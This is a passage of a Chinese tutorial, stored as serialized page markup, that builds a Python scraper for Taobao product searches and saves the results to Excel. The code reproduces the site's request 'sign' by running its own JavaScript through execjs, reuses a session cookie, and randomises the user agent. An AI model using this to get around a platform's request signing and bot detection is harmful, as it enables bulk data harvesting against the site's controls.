对提取到的数据进行本地化存储\n",{"type":18,"tag":297,"props":39763,"children":39764},{"class":299,"line":13641},[39765],{"type":18,"tag":297,"props":39766,"children":39767},{},[39768],{"type":24,"value":39724},{"type":18,"tag":297,"props":39770,"children":39771},{"class":299,"line":13724},[39772],{"type":18,"tag":297,"props":39773,"children":39774},{},[39775],{"type":24,"value":39548},{"type":18,"tag":34,"props":39777,"children":39778},{},[39779],{"type":24,"value":39780},"整体框架搭建完成后，只需对其进行填空！",{"type":18,"tag":337,"props":39782,"children":39784},{"id":39783},"对象的初始化",[39785],{"type":24,"value":39783},{"type":18,"tag":121,"props":39787,"children":39788},{},[],{"type":18,"tag":34,"props":39790,"children":39791},{},[39792,39794,39800],{"type":24,"value":39793},"在初始化方法 ",{"type":18,"tag":74,"props":39795,"children":39797},{"className":39796},[],[39798],{"type":24,"value":39799},"__init__",{"type":24,"value":39801}," 中，需要对新的对象进行初始化，初始化的数据包含请求头、请求url、存储对象、时间戳、用户输入等内容，代码设计如下：",{"type":18,"tag":287,"props":39803,"children":39805},{"code":39804,"language":28712,"meta":8,"className":28710,"style":8},"def __init__(self):\n    \"\"\"\n    初始化数据，定义用户输入\n    \"\"\"\n    # 定义初始url\n    self.basic_url = \"https:\u002F\u002Fh5api.m.taoba...2.0\u002F\"\n    # 设置请求头\n    self.headers = {\n        \"Referer\":\"https:\u002F\u002Fs.taobao.com\u002F\",\n        'User-Agent': fake_useragent.UserAgent().random,\n        # 此处淘宝的cookie需要及时更换，否则将显示（令牌过期）\n        'cookie':\"thw=xx; cna=wN4DIV...\"\n    }\n    # 定义时间戳\n    self.time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time.time()))\n\n    # 创建excel\n    self.wb = workbook.Workbook()\n    # 获取当前正在操作的表对象  激活\n    self.ws = self.wb.active\n    # 设置表头\n    self.ws.append(['商品id','商品标题','商品价格',\"店铺名称\",'发货地址','销售量','图片链接','商品链接'])\n\n    # 获取用户搜索内容\n    self.params = input(f\"\\033[1;37m[{self.time}] Input 请输入你要获取的商品：\\033[0m\")\n",[39806],{"type":18,"tag":74,"props":39807,"children":39808},{"__ignoreMap":8},[39809,39817,39825,39833,39840,39848,39856,39864,39872,39880,39888,39896,39904,39911,39919,39927,39934,39942,39950,39958,39966,39974,39982,39989,39997],{"type":18,"tag":297,"props":39810,"children":39811},{"class":299,"line":300},[39812],{"type":18,"tag":297,"props":39813,"children":39814},{},[39815],{"type":24,"value":39816},"def __init__(self):\n",{"type":18,"tag":297,"props":39818,"children":39819},{"class":299,"line":657},[39820],{"type":18,"tag":297,"props":39821,"children":39822},{},[39823],{"type":24,"value":39824},"    \"\"\"\n",{"type":18,"tag":297,"props":39826,"children":39827},{"class":299,"line":662},[39828],{"type":18,"tag":297,"props":39829,"children":39830},{},[39831],{"type":24,"value":39832},"    初始化数据，定义用户输入\n",{"type":18,"tag":297,"props":39834,"children":39835},{"class":299,"line":799},[39836],{"type":18,"tag":297,"props":39837,"children":39838},{},[39839],{"type":24,"value":39824},{"type":18,"tag":297,"props":39841,"children":39842},{"class":299,"line":808},[39843],{"type":18,"tag":297,"props":39844,"children":39845},{},[39846],{"type":24,"value":39847},"    # 定义初始url\n",{"type":18,"tag":297,"props":39849,"children":39850},{"class":299,"line":817},[39851],{"type":18,"tag":297,"props":39852,"children":39853},{},[39854],{"type":24,"value":39855},"    self.basic_url = \"https:\u002F\u002Fh5api.m.taoba...2.0\u002F\"\n",{"type":18,"tag":297,"props":39857,"children":39858},{"class":299,"line":826},[39859],{"type":18,"tag":297,"props":39860,"children":39861},{},[39862],{"type":24,"value":39863},"    # 设置请求头\n",{"type":18,"tag":297,"props":39865,"children":39866},{"class":299,"line":4524},[39867],{"type":18,"tag":297,"props":39868,"children":39869},{},[39870],{"type":24,"value":39871},"    self.headers = {\n",{"type":18,"tag":297,"props":39873,"children":39874},{"class":299,"line":4533},[39875],{"type":18,"tag":297,"props":39876,"children":39877},{},[39878],{"type":24,"value":39879},"        \"Referer\":\"https:\u002F\u002Fs.taobao.com\u002F\",\n",{"type":18,"tag":297,"props":39881,"children":39882},{"class":299,"line":4546},[39883],{"type":18,"tag":297,"props":39884,"children":39885},{},[39886],{"type":24,"value":39887},"        'User-Agent': fake_useragent.UserAgent().random,\n",{"type":18,"tag":297,"props":39889,"children":39890},{"class":299,"line":4555},[39891],{"type":18,"tag":297,"props":39892,"children":39893},{},[39894],{"type":24,"value":39895},"        # 此处淘宝的cookie需要及时更换，否则将显示（令牌过期）\n",{"type":18,"tag":297,"props":39897,"children":39898},{"class":299,"line":4568},[39899],{"type":18,"tag":297,"props":39900,"children":39901},{},[39902],{"type":24,"value":39903},"        'cookie':\"thw=xx; cna=wN4DIV...\"\n",{"type":18,"tag":297,"props":39905,"children":39906},{"class":299,"line":4577},[39907],{"type":18,"tag":297,"props":39908,"children":39909},{},[39910],{"type":24,"value":17895},{"type":18,"tag":297,"props":39912,"children":39913},{"class":299,"line":4590},[39914],{"type":18,"tag":297,"props":39915,"children":39916},{},[39917],{"type":24,"value":39918},"    # 定义时间戳\n",{"type":18,"tag":297,"props":39920,"children":39921},{"class":299,"line":4599},[39922],{"type":18,"tag":297,"props":39923,"children":39924},{},[39925],{"type":24,"value":39926},"    self.time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time.time()))\n",{"type":18,"tag":297,"props":39928,"children":39929},{"class":299,"line":4607},[39930],{"type":18,"tag":297,"props":39931,"children":39932},{"emptyLinePlaceholder":793},[39933],{"type":24,"value":796},{"type":18,"tag":297,"props":39935,"children":39936},{"class":299,"line":4616},[39937],{"type":18,"tag":297,"props":39938,"children":39939},{},[39940],{"type":24,"value":39941},"    # 创建excel\n",{"type":18,"tag":297,"props":39943,"children":39944},{"class":299,"line":4624},[39945],{"type":18,"tag":297,"props":39946,"children":39947},{},[39948],{"type":24,"value":39949},"    self.wb = workbook.Workbook()\n",{"type":18,"tag":297,"props":39951,"children":39952},{"class":299,"line":4633},[39953],{"type":18,"tag":297,"props":39954,"children":39955},{},[39956],{"type":24,"value":39957},"    # 获取当前正在操作的表对象  激活\n",{"type":18,"tag":297,"props":39959,"children":39960},{"class":299,"line":4641},[39961],{"type":18,"tag":297,"props":39962,"children":39963},{},[39964],{"type":24,"value":39965},"    self.ws = self.wb.active\n",{"type":18,"tag":297,"props":39967,"children":39968},{"class":299,"line":4650},[39969],{"type":18,"tag":297,"props":39970,"children":39971},{},[39972],{"type":24,"value":39973},"    # 设置表头\n",{"type":18,"tag":297,"props":39975,"children":39976},{"class":299,"line":4658},[39977],{"type":18,"tag":297,"props":39978,"children":39979},{},[39980],{"type":24,"value":39981},"    self.ws.append(['商品id','商品标题','商品价格',\"店铺名称\",'发货地址','销售量','图片链接','商品链接'])\n",{"type":18,"tag":297,"props":39983,"children":39984},{"class":299,"line":4681},[39985],{"type":18,"tag":297,"props":39986,"children":39987},{"emptyLinePlaceholder":793},[39988],{"type":24,"value":796},{"type":18,"tag":297,"props":39990,"children":39991},{"class":299,"line":4703},[39992],{"type":18,"tag":297,"props":39993,"children":39994},{},[39995],{"type":24,"value":39996},"    # 获取用户搜索内容\n",{"type":18,"tag":297,"props":39998,"children":39999},{"class":299,"line":4711},[40000],{"type":18,"tag":297,"props":40001,"children":40002},{},[40003],{"type":24,"value":40004},"    self.params = input(f\"\\033[1;37m[{self.time}] Input 请输入你要获取的商品：\\033[0m\")\n",{"type":18,"tag":96,"props":40006,"children":40007},{},[40008,40012],{"type":18,"tag":34,"props":40009,"children":40010},{},[40011],{"type":24,"value":1715},{"type":18,"tag":34,"props":40013,"children":40014},{},[40015],{"type":24,"value":40016},"在设计代码时请自行导入所需的模块",{"type":18,"tag":337,"props":40018,"children":40020},{"id":40019},"加密参数生成方法体设计",[40021],{"type":24,"value":40019},{"type":18,"tag":121,"props":40023,"children":40024},{},[],{"type":18,"tag":34,"props":40026,"children":40027},{},[40028,40030,40035,40037,40042,40043,40048,40049,40054,40055,40060,40062,40067,40068,40073,40075,40080,40082,40087,40089,40095,40097,40102],{"type":24,"value":40029},"在该方法体中，我们需要模拟js代码中的 ",{"type":18,"tag":74,"props":40031,"children":40033},{"className":40032},[],[40034],{"type":24,"value":39229},{"type":24,"value":40036}," 函数体进行设计，首先设置字符串拼接所需的变量，依次有 ",{"type":18,"tag":74,"props":40038,"children":40040},{"className":40039},[],[40041],{"type":24,"value":39323},{"type":24,"value":1942},{"type":18,"tag":74,"props":40044,"children":40046},{"className":40045},[],[40047],{"type":24,"value":39346},{"type":24,"value":1942},{"type":18,"tag":74,"props":40050,"children":40052},{"className":40051},[],[40053],{"type":24,"value":39361},{"type":24,"value":1942},{"type":18,"tag":74,"props":40056,"children":40058},{"className":40057},[],[40059],{"type":24,"value":39369},{"type":24,"value":40061},"等，其中 ",{"type":18,"tag":74,"props":40063,"children":40065},{"className":40064},[],[40066],{"type":24,"value":39346},{"type":24,"value":8507},{"type":18,"tag":74,"props":40069,"children":40071},{"className":40070},[],[40072],{"type":24,"value":39369},{"type":24,"value":40074}," 可以直接传入，因为在即将设计的请求方法体中存在；而 ",{"type":18,"tag":74,"props":40076,"children":40078},{"className":40077},[],[40079],{"type":24,"value":39361},{"type":24,"value":40081}," 可以采用硬编码方式；最后 ",{"type":18,"tag":74,"props":40083,"children":40085},{"className":40084},[],[40086],{"type":24,"value":39323},{"type":24,"value":40088}," 可以在请求头中进行提取，至此，加密函数的实参构建完成。接下来使用 ",{"type":18,"tag":74,"props":40090,"children":40092},{"className":40091},[],[40093],{"type":24,"value":40094},"execjs",{"type":24,"value":40096}," 模块的使用方法调用js文件的函数体，获取 ",{"type":18,"tag":74,"props":40098,"children":40100},{"className":40099},[],[40101],{"type":24,"value":39032},{"type":24,"value":40103}," 的结果并返回。",{"type":18,"tag":287,"props":40105,"children":40107},{"code":40106,"language":28712,"meta":8,"className":28710,"style":8},"# 获取加密参数\ndef get_sign(self,t: str,data: str)->str:\n    \"\"\"\n    生成加密参数sign\n    sign的组成：eE(em.token + \"&\" + eT + \"&\" + eC + \"&\" + ep.data)\n    :param t: 时间戳\n    :param data: 请求参数中的data\n    :return: 加密后的sign值\n    \"\"\"\n    # 从cookie中取出token\n    token = re.findall(\"_m_h5_tk=(.*?)_\",self.headers['cookie'])[0]\n    eC = \"12574478\"\n    sign_str = token + \"&\" + t + \"&\" + eC + \"&\" + data\n\n    \"\"\"方法一：不知道加密方式时直接使用原始加密方式\"\"\"\n    with open(\"get_sign.js\",'r') as f:\n        ctx = execjs.compile(f.read())\n    sign = ctx.call(\"eE\",sign_str)\n    return sign\n",[40108],{"type":18,"tag":74,"props":40109,"children":40110},{"__ignoreMap":8},[40111,40119,40127,40134,40142,40150,40158,40166,40174,40181,40189,40197,40205,40213,40220,40228,40236,40244,40252],{"type":18,"tag":297,"props":40112,"children":40113},{"class":299,"line":300},[40114],{"type":18,"tag":297,"props":40115,"children":40116},{},[40117],{"type":24,"value":40118},"# 获取加密参数\n",{"type":18,"tag":297,"props":40120,"children":40121},{"class":299,"line":657},[40122],{"type":18,"tag":297,"props":40123,"children":40124},{},[40125],{"type":24,"value":40126},"def get_sign(self,t: str,data: str)->str:\n",{"type":18,"tag":297,"props":40128,"children":40129},{"class":299,"line":662},[40130],{"type":18,"tag":297,"props":40131,"children":40132},{},[40133],{"type":24,"value":39824},{"type":18,"tag":297,"props":40135,"children":40136},{"class":299,"line":799},[40137],{"type":18,"tag":297,"props":40138,"children":40139},{},[40140],{"type":24,"value":40141},"    生成加密参数sign\n",{"type":18,"tag":297,"props":40143,"children":40144},{"class":299,"line":808},[40145],{"type":18,"tag":297,"props":40146,"children":40147},{},[40148],{"type":24,"value":40149},"    sign的组成：eE(em.token + \"&\" + eT + \"&\" + eC + \"&\" + ep.data)\n",{"type":18,"tag":297,"props":40151,"children":40152},{"class":299,"line":817},[40153],{"type":18,"tag":297,"props":40154,"children":40155},{},[40156],{"type":24,"value":40157},"    :param t: 时间戳\n",{"type":18,"tag":297,"props":40159,"children":40160},{"class":299,"line":826},[40161],{"type":18,"tag":297,"props":40162,"children":40163},{},[40164],{"type":24,"value":40165},"    :param data: 请求参数中的data\n",{"type":18,"tag":297,"props":40167,"children":40168},{"class":299,"line":4524},[40169],{"type":18,"tag":297,"props":40170,"children":40171},{},[40172],{"type":24,"value":40173},"    :return: 加密后的sign值\n",{"type":18,"tag":297,"props":40175,"children":40176},{"class":299,"line":4533},[40177],{"type":18,"tag":297,"props":40178,"children":40179},{},[40180],{"type":24,"value":39824},{"type":18,"tag":297,"props":40182,"children":40183},{"class":299,"line":4546},[40184],{"type":18,"tag":297,"props":40185,"children":40186},{},[40187],{"type":24,"value":40188},"    # 从cookie中取出token\n",{"type":18,"tag":297,"props":40190,"children":40191},{"class":299,"line":4555},[40192],{"type":18,"tag":297,"props":40193,"children":40194},{},[40195],{"type":24,"value":40196},"    token = re.findall(\"_m_h5_tk=(.*?)_\",self.headers['cookie'])[0]\n",{"type":18,"tag":297,"props":40198,"children":40199},{"class":299,"line":4568},[40200],{"type":18,"tag":297,"props":40201,"children":40202},{},[40203],{"type":24,"value":40204},"    eC = \"12574478\"\n",{"type":18,"tag":297,"props":40206,"children":40207},{"class":299,"line":4577},[40208],{"type":18,"tag":297,"props":40209,"children":40210},{},[40211],{"type":24,"value":40212},"    sign_str = token + \"&\" + t + \"&\" + eC + \"&\" + data\n",{"type":18,"tag":297,"props":40214,"children":40215},{"class":299,"line":4590},[40216],{"type":18,"tag":297,"props":40217,"children":40218},{"emptyLinePlaceholder":793},[40219],{"type":24,"value":796},{"type":18,"tag":297,"props":40221,"children":40222},{"class":299,"line":4599},[40223],{"type":18,"tag":297,"props":40224,"children":40225},{},[40226],{"type":24,"value":40227},"    \"\"\"方法一：不知道加密方式时直接使用原始加密方式\"\"\"\n",{"type":18,"tag":297,"props":40229,"children":40230},{"class":299,"line":4607},[40231],{"type":18,"tag":297,"props":40232,"children":40233},{},[40234],{"type":24,"value":40235},"    with open(\"get_sign.js\",'r') as f:\n",{"type":18,"tag":297,"props":40237,"children":40238},{"class":299,"line":4616},[40239],{"type":18,"tag":297,"props":40240,"children":40241},{},[40242],{"type":24,"value":40243},"        ctx = execjs.compile(f.read())\n",{"type":18,"tag":297,"props":40245,"children":40246},{"class":299,"line":4624},[40247],{"type":18,"tag":297,"props":40248,"children":40249},{},[40250],{"type":24,"value":40251},"    sign = ctx.call(\"eE\",sign_str)\n",{"type":18,"tag":297,"props":40253,"children":40254},{"class":299,"line":4633},[40255],{"type":18,"tag":297,"props":40256,"children":40257},{},[40258],{"type":24,"value":40259},"    return sign\n",{"type":18,"tag":337,"props":40261,"children":40263},{"id":40262},"请求方法体设计",[40264],{"type":24,"value":40262},{"type":18,"tag":121,"props":40266,"children":40267},{},[],{"type":18,"tag":34,"props":40269,"children":40270},{},[40271,40273,40278],{"type":24,"value":40272},"在请求方法体中对时间戳进行刷新，设置发送请求所需的params参数，将该参数的 ",{"type":18,"tag":74,"props":40274,"children":40276},{"className":40275},[],[40277],{"type":24,"value":20232},{"type":24,"value":40279}," 元素单独提取出来，方便后续方法的使用，设置完成后就可以发起请求了，为发送请求进行异常处理。",{"type":18,"tag":287,"props":40281,"children":40283},{"code":40282,"language":28712,"meta":8,"className":28710,"style":8},"# 发送请求\ndef get_url(self):\n    \"\"\"\n    发送请求，获取搜索数据\n    :return: response响应体\n    \"\"\"\n    # 生成时间戳\n    self.time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(time.time()))\n    t = str(int(time.time()*1000))\n    # 设置参数data\n    data = '\"appId\": \"34385\",\"params\": {\"ap...'+self.params+'...\"sort\": \"_coefp\"'\n    # 请求参数（requests的get请求参数params）\n    params = {\n        \"jsv\": \"2.7.4\",\n        \"appKey\": \"12574478\",\n        \"t\": t,\n        # 获取加密参数\n        \"sign\": self.get_sign(t, data),\n        \"api\": \"mtop.rel...ommend\",\n        \"v\": \"2.0\",\n        \"type\": \"originaljson\",\n        \"timeout\": \"10000\",\n        \"dataType\": \"json\",\n        \"data\": data\n    }\n    try:\n        response = requests.get(\n            self.basic_url,\n            headers=self.headers,\n            params=params,\n            timeout=10\n        )\n        return response\n    except Exception as e:\n        print(f\"请求失败: {e}\")\n        return 0\n",[40284],{"type":18,"tag":74,"props":40285,"children":40286},{"__ignoreMap":8},[40287,40295,40303,40310,40318,40326,40333,40341,40348,40356,40364,40372,40380,40388,40396,40404,40412,40420,40428,40436,40444,40452,40460,40468,40476,40483,40491,40499,40507,40515,40523,40531,40539,40547,40555,40563],{"type":18,"tag":297,"props":40288,"children":40289},{"class":299,"line":300},[40290],{"type":18,"tag":297,"props":40291,"children":40292},{},[40293],{"type":24,"value":40294},"# 发送请求\n",{"type":18,"tag":297,"props":40296,"children":40297},{"class":299,"line":657},[40298],{"type":18,"tag":297,"props":40299,"children":40300},{},[40301],{"type":24,"value":40302},"def get_url(self):\n",{"type":18,"tag":297,"props":40304,"children":40305},{"class":299,"line":662},[40306],{"type":18,"tag":297,"props":40307,"children":40308},{},[40309],{"type":24,"value":39824},{"type":18,"tag":297,"props":40311,"children":40312},{"class":299,"line":799},[40313],{"type":18,"tag":297,"props":40314,"children":40315},{},[40316],{"type":24,"value":40317},"    发送请求，获取搜索数据\n",{"type":18,"tag":297,"props":40319,"children":40320},{"class":299,"line":808},[40321],{"type":18,"tag":297,"props":40322,"children":40323},{},[40324],{"type":24,"value":40325},"    :return: response响应体\n",{"type":18,"tag":297,"props":40327,"children":40328},{"class":299,"line":817},[40329],{"type":18,"tag":297,"props":40330,"children":40331},{},[40332],{"type":24,"value":39824},{"type":18,"tag":297,"props":40334,"children":40335},{"class":299,"line":826},[40336],{"type":18,"tag":297,"props":40337,"children":40338},{},[40339],{"type":24,"value":40340},"    # 生成时间戳\n",{"type":18,"tag":297,"props":40342,"children":40343},{"class":299,"line":4524},[40344],{"type":18,"tag":297,"props":40345,"children":40346},{},[40347],{"type":24,"value":39926},{"type":18,"tag":297,"props":40349,"children":40350},{"class":299,"line":4533},[40351],{"type":18,"tag":297,"props":40352,"children":40353},{},[40354],{"type":24,"value":40355},"    t = str(int(time.time()*1000))\n",{"type":18,"tag":297,"props":40357,"children":40358},{"class":299,"line":4546},[40359],{"type":18,"tag":297,"props":40360,"children":40361},{},[40362],{"type":24,"value":40363},"    # 设置参数data\n",{"type":18,"tag":297,"props":40365,"children":40366},{"class":299,"line":4555},[40367],{"type":18,"tag":297,"props":40368,"children":40369},{},[40370],{"type":24,"value":40371},"    data = '\"appId\": \"34385\",\"params\": {\"ap...'+self.params+'...\"sort\": \"_coefp\"'\n",{"type":18,"tag":297,"props":40373,"children":40374},{"class":299,"line":4568},[40375],{"type":18,"tag":297,"props":40376,"children":40377},{},[40378],{"type":24,"value":40379},"    # 请求参数（requests的get请求参数params）\n",{"type":18,"tag":297,"props":40381,"children":40382},{"class":299,"line":4577},[40383],{"type":18,"tag":297,"props":40384,"children":40385},{},[40386],{"type":24,"value":40387},"    params = {\n",{"type":18,"tag":297,"props":40389,"children":40390},{"class":299,"line":4590},[40391],{"type":18,"tag":297,"props":40392,"children":40393},{},[40394],{"type":24,"value":40395},"        \"jsv\": \"2.7.4\",\n",{"type":18,"tag":297,"props":40397,"children":40398},{"class":299,"line":4599},[40399],{"type":18,"tag":297,"props":40400,"children":40401},{},[40402],{"type":24,"value":40403},"        \"appKey\": \"12574478\",\n",{"type":18,"tag":297,"props":40405,"children":40406},{"class":299,"line":4607},[40407],{"type":18,"tag":297,"props":40408,"children":40409},{},[40410],{"type":24,"value":40411},"        \"t\": t,\n",{"type":18,"tag":297,"props":40413,"children":40414},{"class":299,"line":4616},[40415],{"type":18,"tag":297,"props":40416,"children":40417},{},[40418],{"type":24,"value":40419},"        # 获取加密参数\n",{"type":18,"tag":297,"props":40421,"children":40422},{"class":299,"line":4624},[40423],{"type":18,"tag":297,"props":40424,"children":40425},{},[40426],{"type":24,"value":40427},"        \"sign\": self.get_sign(t, data),\n",{"type":18,"tag":297,"props":40429,"children":40430},{"class":299,"line":4633},[40431],{"type":18,"tag":297,"props":40432,"children":40433},{},[40434],{"type":24,"value":40435},"        \"api\": \"mtop.rel...ommend\",\n",{"type":18,"tag":297,"props":40437,"children":40438},{"class":299,"line":4641},[40439],{"type":18,"tag":297,"props":40440,"children":40441},{},[40442],{"type":24,"value":40443},"        \"v\": \"2.0\",\n",{"type":18,"tag":297,"props":40445,"children":40446},{"class":299,"line":4650},[40447],{"type":18,"tag":297,"props":40448,"children":40449},{},[40450],{"type":24,"value":40451},"        \"type\": \"originaljson\",\n",{"type":18,"tag":297,"props":40453,"children":40454},{"class":299,"line":4658},[40455],{"type":18,"tag":297,"props":40456,"children":40457},{},[40458],{"type":24,"value":40459},"        \"timeout\": \"10000\",\n",{"type":18,"tag":297,"props":40461,"children":40462},{"class":299,"line":4681},[40463],{"type":18,"tag":297,"props":40464,"children":40465},{},[40466],{"type":24,"value":40467},"        \"dataType\": \"json\",\n",{"type":18,"tag":297,"props":40469,"children":40470},{"class":299,"line":4703},[40471],{"type":18,"tag":297,"props":40472,"children":40473},{},[40474],{"type":24,"value":40475},"        \"data\": data\n",{"type":18,"tag":297,"props":40477,"children":40478},{"class":299,"line":4711},[40479],{"type":18,"tag":297,"props":40480,"children":40481},{},[40482],{"type":24,"value":17895},{"type":18,"tag":297,"props":40484,"children":40485},{"class":299,"line":4720},[40486],{"type":18,"tag":297,"props":40487,"children":40488},{},[40489],{"type":24,"value":40490},"    try:\n",{"type":18,"tag":297,"props":40492,"children":40493},{"class":299,"line":4728},[40494],{"type":18,"tag":297,"props":40495,"children":40496},{},[40497],{"type":24,"value":40498},"        response = requests.get(\n",{"type":18,"tag":297,"props":40500,"children":40501},{"class":299,"line":13515},[40502],{"type":18,"tag":297,"props":40503,"children":40504},{},[40505],{"type":24,"value":40506},"            self.basic_url,\n",{"type":18,"tag":297,"props":40508,"children":40509},{"class":299,"line":13553},[40510],{"type":18,"tag":297,"props":40511,"children":40512},{},[40513],{"type":24,"value":40514},"            headers=self.headers,\n",{"type":18,"tag":297,"props":40516,"children":40517},{"class":299,"line":13591},[40518],{"type":18,"tag":297,"props":40519,"children":40520},{},[40521],{"type":24,"value":40522},"            params=params,\n",{"type":18,"tag":297,"props":40524,"children":40525},{"class":299,"line":13624},[40526],{"type":18,"tag":297,"props":40527,"children":40528},{},[40529],{"type":24,"value":40530},"            timeout=10\n",{"type":18,"tag":297,"props":40532,"children":40533},{"class":299,"line":13632},[40534],{"type":18,"tag":297,"props":40535,"children":40536},{},[40537],{"type":24,"value":40538},"        )\n",{"type":18,"tag":297,"props":40540,"children":40541},{"class":299,"line":13641},[40542],{"type":18,"tag":297,"props":40543,"children":40544},{},[40545],{"type":24,"value":40546},"        return response\n",{"type":18,"tag":297,"props":40548,"children":40549},{"class":299,"line":13724},[40550],{"type":18,"tag":297,"props":40551,"children":40552},{},[40553],{"type":24,"value":40554},"    except Exception as e:\n",{"type":18,"tag":297,"props":40556,"children":40557},{"class":299,"line":13732},[40558],{"type":18,"tag":297,"props":40559,"children":40560},{},[40561],{"type":24,"value":40562},"        print(f\"请求失败: {e}\")\n",{"type":18,"tag":297,"props":40564,"children":40565},{"class":299,"line":13786},[40566],{"type":18,"tag":297,"props":40567,"children":40568},{},[40569],{"type":24,"value":40570},"        return 0\n",{"type":18,"tag":337,"props":40572,"children":40574},{"id":40573},"提取数据方法体设计",[40575],{"type":24,"value":40573},{"type":18,"tag":121,"props":40577,"children":40578},{},[],{"type":18,"tag":34,"props":40580,"children":40581},{},[40582,40584,40590,40592,40598,40600,40606,40608,40613],{"type":24,"value":40583},"通过网页对数据包的预览结果分析，依次提取出商品所需的数据，为了让数据方便查看，我新增一个用于输出的 ",{"type":18,"tag":74,"props":40585,"children":40587},{"className":40586},[],[40588],{"type":24,"value":40589},"print_format",{"type":24,"value":40591}," 方法，在数据提取的同时依次添加数据到excel表，最后执行 ",{"type":18,"tag":74,"props":40593,"children":40595},{"className":40594},[],[40596],{"type":24,"value":40597},"self.wb.save(\"淘宝数据.xlsx\")",{"type":24,"value":40599}," 命令进行本地磁盘的数据写入。所以此后框架中的",{"type":18,"tag":74,"props":40601,"children":40603},{"className":40602},[],[40604],{"type":24,"value":40605},"save_data",{"type":24,"value":40607}," 方法作废，新增一个 ",{"type":18,"tag":74,"props":40609,"children":40611},{"className":40610},[],[40612],{"type":24,"value":40589},{"type":24,"value":40614}," 方法。",{"type":18,"tag":287,"props":40616,"children":40618},{"code":40617,"language":28712,"meta":8,"className":28710,"style":8},"# 提取数据\ndef format_and_save_data(self,response):\n    \"\"\"\n    对传入的响应体数据进行处理\n    提取指定的数据内容\n    :param response: 响应体内容\n    :return: None\n    \"\"\"\n    print(f\"\\033[1;32m[{self.time}] Success 正在提取数据...\\033[0m\")\n    html_str = response.content.decode(\"utf-8\")\n    html_json = json.loads(html_str)\n    productInfo = html_json['data']['itemsArray']\n    for item in productInfo:\n        try:\n            pic_path = item['pic_path'] # 图片链接\n            shop_name = item['shopInfo']['title'] # 店铺名称\n            item_id = item['item_id'] # 商品id\n            local = item['procity'] # 发货地址\n            count = item['realSales'] # 已购人数\n            title = item['title'] # 商品标题\n            title = re.sub(r'\u003C(.*?)>',' ', title)\n            price = item['price'] # 商品价格\n            item_url = item['auctionURL'] # 商品链接\n            if item_url[:2] == '\u002F\u002F': item_url = 'https:' + item_url\n            self.print_format([item_id,title,price,shop_name,local,count,pic_path,item_url])\n            # 添加数据到excel表，数据列表与表头一一对应 此代码并非实际写入磁盘\n            self.ws.append([item_id,title,price,shop_name,local,count,pic_path,item_url])\n        except Exception as e:\n            pass\n    self.wb.save(\"淘宝数据.xlsx\")\n    print(\"数据采集成功，已存入文件 -> 淘宝数据.xlsx\")\n",[40619],{"type":18,"tag":74,"props":40620,"children":40621},{"__ignoreMap":8},[40622,40630,40638,40645,40653,40661,40669,40677,40684,40692,40700,40708,40716,40724,40732,40740,40748,40756,40764,40772,40780,40788,40796,40804,40812,40820,40828,40836,40844,40852,40860],{"type":18,"tag":297,"props":40623,"children":40624},{"class":299,"line":300},[40625],{"type":18,"tag":297,"props":40626,"children":40627},{},[40628],{"type":24,"value":40629},"# 提取数据\n",{"type":18,"tag":297,"props":40631,"children":40632},{"class":299,"line":657},[40633],{"type":18,"tag":297,"props":40634,"children":40635},{},[40636],{"type":24,"value":40637},"def format_and_save_data(self,response):\n",{"type":18,"tag":297,"props":40639,"children":40640},{"class":299,"line":662},[40641],{"type":18,"tag":297,"props":40642,"children":40643},{},[40644],{"type":24,"value":39824},{"type":18,"tag":297,"props":40646,"children":40647},{"class":299,"line":799},[40648],{"type":18,"tag":297,"props":40649,"children":40650},{},[40651],{"type":24,"value":40652},"    对传入的响应体数据进行处理\n",{"type":18,"tag":297,"props":40654,"children":40655},{"class":299,"line":808},[40656],{"type":18,"tag":297,"props":40657,"children":40658},{},[40659],{"type":24,"value":40660},"    提取指定的数据内容\n",{"type":18,"tag":297,"props":40662,"children":40663},{"class":299,"line":817},[40664],{"type":18,"tag":297,"props":40665,"children":40666},{},[40667],{"type":24,"value":40668},"    :param response: 响应体内容\n",{"type":18,"tag":297,"props":40670,"children":40671},{"class":299,"line":826},[40672],{"type":18,"tag":297,"props":40673,"children":40674},{},[40675],{"type":24,"value":40676},"    :return: None\n",{"type":18,"tag":297,"props":40678,"children":40679},{"class":299,"line":4524},[40680],{"type":18,"tag":297,"props":40681,"children":40682},{},[40683],{"type":24,"value":39824},{"type":18,"tag":297,"props":40685,"children":40686},{"class":299,"line":4533},[40687],{"type":18,"tag":297,"props":40688,"children":40689},{},[40690],{"type":24,"value":40691},"    print(f\"\\033[1;32m[{self.time}] Success 正在提取数据...\\033[0m\")\n",{"type":18,"tag":297,"props":40693,"children":40694},{"class":299,"line":4546},[40695],{"type":18,"tag":297,"props":40696,"children":40697},{},[40698],{"type":24,"value":40699},"    html_str = response.content.decode(\"utf-8\")\n",{"type":18,"tag":297,"props":40701,"children":40702},{"class":299,"line":4555},[40703],{"type":18,"tag":297,"props":40704,"children":40705},{},[40706],{"type":24,"value":40707},"    html_json = json.loads(html_str)\n",{"type":18,"tag":297,"props":40709,"children":40710},{"class":299,"line":4568},[40711],{"type":18,"tag":297,"props":40712,"children":40713},{},[40714],{"type":24,"value":40715},"    productInfo = html_json['data']['itemsArray']\n",{"type":18,"tag":297,"props":40717,"children":40718},{"class":299,"line":4577},[40719],{"type":18,"tag":297,"props":40720,"children":40721},{},[40722],{"type":24,"value":40723},"    for item in productInfo:\n",{"type":18,"tag":297,"props":40725,"children":40726},{"class":299,"line":4590},[40727],{"type":18,"tag":297,"props":40728,"children":40729},{},[40730],{"type":24,"value":40731},"        try:\n",{"type":18,"tag":297,"props":40733,"children":40734},{"class":299,"line":4599},[40735],{"type":18,"tag":297,"props":40736,"children":40737},{},[40738],{"type":24,"value":40739},"            pic_path = item['pic_path'] # 图片链接\n",{"type":18,"tag":297,"props":40741,"children":40742},{"class":299,"line":4607},[40743],{"type":18,"tag":297,"props":40744,"children":40745},{},[40746],{"type":24,"value":40747},"            shop_name = item['shopInfo']['title'] # 店铺名称\n",{"type":18,"tag":297,"props":40749,"children":40750},{"class":299,"line":4616},[40751],{"type":18,"tag":297,"props":40752,"children":40753},{},[40754],{"type":24,"value":40755},"            item_id = item['item_id'] # 商品id\n",{"type":18,"tag":297,"props":40757,"children":40758},{"class":299,"line":4624},[40759],{"type":18,"tag":297,"props":40760,"children":40761},{},[40762],{"type":24,"value":40763},"            local = item['procity'] # 